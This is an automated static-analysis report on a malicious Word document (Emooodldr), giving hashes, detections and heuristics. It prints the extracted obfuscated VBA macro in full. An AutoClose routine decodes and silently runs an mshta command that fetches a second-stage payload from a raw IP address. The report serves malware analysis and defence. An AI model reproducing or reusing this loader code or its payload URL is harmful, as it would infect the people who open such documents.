Emooodldr — Office (OOXML) malware analysis

Static analysis result for SHA-256 ed43f1d983feb172…

MALICIOUS

Office (OOXML)

55.0 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-11-20
MD5: b6396acf9a09c594e9ab140d82f3d049 SHA-1: 5e03582d68dc08d555cc787e289f64831712a6b6 SHA-256: ed43f1d983feb172fcf4b62956428ab6b4410a4cddbc6f02657f00dce2fc3a1c
322 Risk Score

Malware Insights

Emooodldr · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is identified as malicious by ClamAV with the signature Doc.Malware.Emooodldr-6711604-0. It contains obfuscated VBA macros, including an Auto_Close macro, that utilize CreateObject to execute a second-stage payload. The reconstructed URL 'http://104.144.207.225/LEX/yoWzpcArpgLTniHQUTWAUzfFVkch.php?uHQUTWAUzfFVkzwUYBJfLCBZYprYCTUNXSjLW=proji' is likely the download source for this payload.

Heuristics 7

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2875 bytes
SHA-256: 0a69dfad27fccd974b2522c122b3bfeab0e2bff761a4fcfdd1d50dbea4c9a043
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub aritmetico()
 konENUNcnY = 1540 + 842 + 503
RcSnyBFwy = "r" & "S" & Trim("A") & Trim("H")
QLTFdEvL = "f" & Trim("X") & Trim("O") & "F" & "X"
wWzjLJWE = 209 - 756

 dote = "zwUYBJfLCBZYyoWzpcArpgLThHQUTWAUzfFVkprYCTUNXSjLW hHQUTWAUzfFVkHQUTWAUzfFVkp://104.144.207.225/LEX/yoWzpcArpgLTniHQUTWAUzfFVkch.php?uHQUTWAUzfFVkzwUYBJfLCBZYprYCTUNXSjLW=proji"
dote = Replace(dote, "zwUYBJfLCBZY", "m")
NquYOyXnbTb = Trim("w") & "q" & Trim("T") & "g"
oQpqBjOYqOrM = "B" & Trim("M")
ocdywrUSHy = 1444 - 143 - 1434 - 467 - 1826
dote = Replace(dote, "prYCTUNXSjLW", "a")
uuwcYFCwvRYV = 460 + 21 + 656 + 1481
CWROfuUV = 822 - 675 - 167 - 1323 - 602 - 405
dote = Replace(dote, "yoWzpcArpgLT", "s")
dote = Replace(dote, "HQUTWAUzfFVk", "t")
dote = Replace(dote, "FwZpWnAZYUdy", "e")
HLgfqkgNfcOF = Trim("G") & Trim("O") & Trim("B") & "q" & "H"
GfvyBSLwfrP = 1500 - 487 - 130 - 77
SHIPObYGLXPR = "z" & "B" & "S" & Trim("Q") & Trim("R")
dote = Replace(dote, "AuwwvDIXAwKQ", "l")

vezes = "WScripJvMNKIcCoOiI.ShzxfYIzYPDnSLucQPWbBgNfzAucQPWbBgNfzA"
vezes = Replace(vezes, "CKYifJqGZUAU", "m")
MKcFjxGvwJLC = "M" & "n" & "T"
AxBBQBqDO = Trim("x") & Trim("T") & Trim("V")
iZgXnbBuNp = 803 + 1163 + 675 + 580
vezes = Replace(vezes, "HZYZRVkjpuYY", "a")
zPCyjHCNIyF = 984 + 347 + 1365 + 1686 + 398
fvfDHvprTid = 1576 - 660 - 1954 - 795
vezes = Replace(vezes, "gREHIyKFMPrQ", "s")
gdTkQjv = 940 - 1582 - 1926 - 496
GGfzOqn = 644 + 1362 + 704 + 1069
vezes = Replace(vezes, "JvMNKIcCoOiI", "t")
zXUBuzUp = 1982 + 1666 + 919 + 453 + 915
JVDbOkX = "I" & Trim("R") & "w" & "f"
cXASZVJUyPgD = "Z" & Trim("o")
vezes = Replace(vezes, "zxfYIzYPDnSL", "e")
zudRqdF = "N" & "G"
fSdOIZKRXffY = 1702 + 927 + 1686 + 1033
ALcpZEPokAfF = 623 - 1534 - 1576 - 1961 - 1838
QuQPEMyyWr = "Q" & Trim("v") & Trim("x")
vezes = Replace(vezes, "ucQPWbBgNfzA", "l")


 CreateObject(vezes).Run dote, 0
 XzEPgnvDvH = "x" & "K" & Trim("I")
ERNZLFCXp = 1358 - 1405 - 104
WTBJncrRMY = "f" & "b" & "D" & Trim("F")
nqCFWTrETF = "B" & Trim("X") & "D"
QVnOEECKUxG = 209 - 343 - 668 - 489 - 796 - 1771 - 279

End Sub

Sub AutoClose()

  TdgVGpgr = 650 + 691 + 1172 + 1399 + 363 + 243 + 1908 + 412
wBGxTfojoVQ = 1561 + 1622
NRCLfxM = 1118 - 1021 - 1243 - 496 - 1427
qgOQGIMR = Trim("J") & Trim("X") & "g" & "i" & "J"
XdwAjGKSXUC = "L" & Trim("g") & "E" & "T" & Trim("D")
DjbVcYTcVW = 496 + 1204 + 1918 + 850 + 148 + 1399

  Application.Run "aritmetico"
  rGrJgQv = 241 + 989 + 1010
PGJibuFJcT = "U" & Trim("U")
KHbZfpKjuXc = 270 - 653 - 23 - 560 - 1131 - 791 - 282

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 13824 bytes
SHA-256: 9a41b365551b62cc1483b5724036c9949a1635efbe77d92a3350cf8159538a60
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: unlikely

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